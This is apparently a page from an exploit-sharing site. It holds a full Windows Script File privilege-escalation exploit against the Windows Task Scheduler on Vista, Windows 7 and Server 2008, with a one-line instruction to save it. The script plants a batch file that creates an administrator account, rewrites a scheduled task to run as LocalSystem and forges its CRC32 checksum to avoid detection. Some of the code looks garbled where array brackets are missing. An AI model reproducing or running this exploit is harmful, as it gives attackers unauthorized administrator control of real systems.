PWNWIK.COM
,
EXP
保存EXP为taskxpl.wsf
<job id="tasksch-wD-0day">
<script language="Javascript">
crc_table = new Array(
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
0x2D02EF8D
);
var hD='0123456789ABCDEF';
function dec2hex(d) {
h='';
for (i=0;i<8;i++) {
h = hD.charAt(d&15)+h;
d >>>= 4;
}
return h;
}
function encodeToHex(str){
var r="";
var e=str.length;
var c=0;
var h;
while(c<e){
h=str.charCodeAt(c++).toString(16);
while(h.length<3) h="0"+h;
r+=h;
}
return r;
}
function decodeFromHex(str){
var r="";
var e=str.length;
var s=0;
while(e>1){
r=r+String.fromCharCode("0x"+str.substring(s,s+2));
s=s+2;
e=e-2;
}
return r;
}
function calc_crc(anyForm) {
anyTextString=decodeFromHex(anyForm);
Crc_value = 0xFFFFFFFF;
StringLength=anyTextString.length;
for (i=0; i<StringLength; i++) {
tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
Table_value = crc_tabletableIndex;
Crc_value >>>= 8;
Crc_value ^= Table_value;
}
Crc_value ^= 0xFFFFFFFF;
return dec2hex(Crc_value);
}
function rev_crc(leadString,endString,crc32) {
//
// First, we calculate the CRC-32 for the initial string
//
anyTextString=decodeFromHex(leadString);
Crc_value = 0xFFFFFFFF;
StringLength=anyTextString.length;
//document.write(alert(StringLength));
for (var i=0; i<StringLength; i++) {
tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
Table_value = crc_tabletableIndex;
Crc_value >>>= 8;
Crc_value ^= Table_value;
}
//
// Second, we calculate the CRC-32 without the final string
//
crc=parseInt(crc32,16);
crc ^= 0xFFFFFFFF;
anyTextString=decodeFromHex(endString);
StringLength=anyTextString.length;
for (var i=0; i<StringLength; i++) {
tableIndex=0;
Table_value = crc_tabletableIndex;
while (((Table_value ^ crc) >>> 24) & 0xFF) {
tableIndex++;
Table_value = crc_tabletableIndex;
}
crc ^= Table_value;
crc <<= 8;
crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
}
//
// Now let's find the 4-byte string
//
for (var i=0; i<4; i++) {
tableIndex=0;
Table_value = crc_tabletableIndex;
while (((Table_value ^ crc) >>> 24) & 0xFF) {
tableIndex++;
Table_value = crc_tabletableIndex;
}
crc ^= Table_value;
crc <<= 8;
crc |= tableIndex;
}
crc ^= Crc_value;
//
// Finally, display the results
//
var TextString=dec2hex(crc);
var Teststring='';
Teststring=TextString.substring(6,8);
Teststring+=TextString.substring(4,6);
Teststring+=TextString.substring(2,4);
Teststring+=TextString.substring(0,2);
return Teststring
}
function decodeFromHex(str){
var r="";
var e=str.length;
var s=0;
while(e>1){
r=r+String.fromCharCode("0x"+str.substring(s,s+2));
s=s+2;
e=e-2;
}
return r;
}
</script>
<script language="VBScript">
dim output
set output = wscript.stdout
output.writeline " Task Scheduler 0 day - Privilege Escalation "
output.writeline " Should work on Vista/Win7/2008 x86/x64"
output.writeline " webDEViL - w3bd3vil at gmail dot com" & vbCr & vbLf
biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.CreateTextFile(biatchFile, True)
a.WriteLine ("net user /add test123 test123")
a.WriteLine ("net localgroup administrators /add test123")
a.WriteLine ("schtasks /delete /f /TN wDw00t")
Function ReadByteArray(strFileName)
Const adTypeBinary = 1
Dim bin
Set bin = CreateObject("ADODB.Stream")
bin.Type = adTypeBinary
bin.Open
bin.LoadFromFile strFileName
ReadByteArray = bin.Read
'output.writeline ReadByteArray
End Function
Function OctetToHexStr (arrbytOctet)
Dim k
OctetToHexStr = ""
For k = 3 To Lenb (arrbytOctet)
OctetToHexStr = OctetToHexStr _
& Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
Next
End Function
strFileName="C:\windows\system32\tasks\wDw00t"
hexXML = OctetToHexStr (ReadByteArray(strFileName))
'output.writeline hexXML
crc32 = calc_crc(hexXML)
output.writeline "Crc32 original: "+crc32
Set xmlDoc = CreateObject("Microsoft.XMLDOM")
'permissions workaround
'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
Set objShell = WScript.CreateObject("WScript.Shell")
Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")
Do Until objExecObject.StdOut.AtEndOfStream
strLine = strLine & objExecObject.StdOut.ReadLine()
Loop
hexXML = "FFFE3C00"+OctetToHexStr(strLine)
'output.writeline hexXML
Set ts = fso.createtextfile ("wDw00t.xml")
For n = 1 To (Len (hexXML) - 1) step 2
ts.write Chr ("&h" & Mid (hexXML, n, 2))
Next
ts.close
xmlDoc.load "wDw00t.xml"
Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
Author.text = "LocalSystem"
Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
UserId.text = "S-1-5-18"
xmldoc.save(strFileName)
hexXML = OctetToHexStr (ReadByteArray(strFileName))
leadString=hexXML+"3C0021002D002D00"
endString="2D002D003E00"
'output.writeline leadString
impbytes=rev_crc(leadString,endString,crc32)
output.writeline "Crc32 Magic Bytes: "+impbytes
finalString = leadString+impbytes+endString
forge = calc_crc(finalString)
output.writeline "Crc32 Forged: "+forge
strHexString="FFFE"+finalString
Set fso = CreateObject ("scripting.filesystemobject")
Set stream = CreateObject ("adodb.stream")
Set ts = fso.createtextfile (strFileName)
For n = 1 To (Len (strHexString) - 1) step 2
ts.write Chr ("&h" & Mid (strHexString, n, 2))
Next
ts.close
Set objShell = CreateObject("WScript.Shell")
objShell.Run "schtasks /change /TN wDw00t /disable",,True
objShell.Run "schtasks /change /TN wDw00t /enable",,True
objShell.Run "schtasks /run /TN wDw00t",,True
</script>
</job>
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